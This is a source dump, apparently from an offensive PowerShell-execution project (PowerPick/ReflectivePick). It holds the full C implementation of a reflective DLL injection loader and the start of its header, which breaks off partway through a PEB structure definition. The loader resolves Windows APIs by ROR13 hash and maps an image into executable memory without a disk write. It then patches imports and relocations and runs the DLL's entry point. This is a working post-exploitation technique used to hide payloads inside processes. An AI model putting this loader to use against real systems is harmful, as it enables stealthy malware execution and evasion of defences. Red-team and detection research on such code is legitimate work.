CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while( TRUE ) 90 | { 91 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword( 0x60 ); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword( 0x30 ); 115 | //#else WIN_ARM 116 | // uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while( uiValueA ) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror( (DWORD)uiValueC ); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if( *((BYTE *)uiValueB) >= 'a' ) 140 | uiValueC += *((BYTE *)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE *)uiValueB); 143 | uiValueB++; 144 | } while( --usCounter ); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while( usCounter > 0 ) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 183 | 184 | // store this functions VA 185 | if( dwHashValue == LOADLIBRARYA_HASH ) 186 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 187 | else if( dwHashValue == GETPROCADDRESS_HASH ) 188 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 189 | else if( dwHashValue == VIRTUALALLOC_HASH ) 190 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while( usCounter > 0 ) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 239 | 240 | // store this functions VA 241 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF( uiValueA ); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while( uiValueA-- ) 279 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while( uiValueE-- ) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while( uiValueD-- ) 300 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 314 | 315 | // itterate through all imports 316 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while( DEREF(uiValueA) ) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof( ULONG_PTR ); 361 | if( uiValueD ) 362 | uiValueD += sizeof( ULONG_PTR ); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 376 | 377 | // check if their are any relocations present 378 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 382 | 383 | // and we itterate through all entries... 384 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while( uiValueB-- ) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 402 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 404 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 416 | // sanity chack we are processing a MOV instruction... 417 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)( dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 435 | } 436 | } 437 | #endif 438 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 439 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 441 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof( IMAGE_RELOC ); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch( dwReason ) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if( lpReserved != NULL ) 482 | *(HMODULE *)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror( DWORD d ) 64 | { 65 | return _rotr( d, HASH_KEY ); 66 | } 67 | 68 | __forceinline DWORD hash( char * c ) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror( h ); 74 | h += *c; 75 | } while( *++c ); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, *PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK * pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD dwHeapSegmentCommit; 161 | 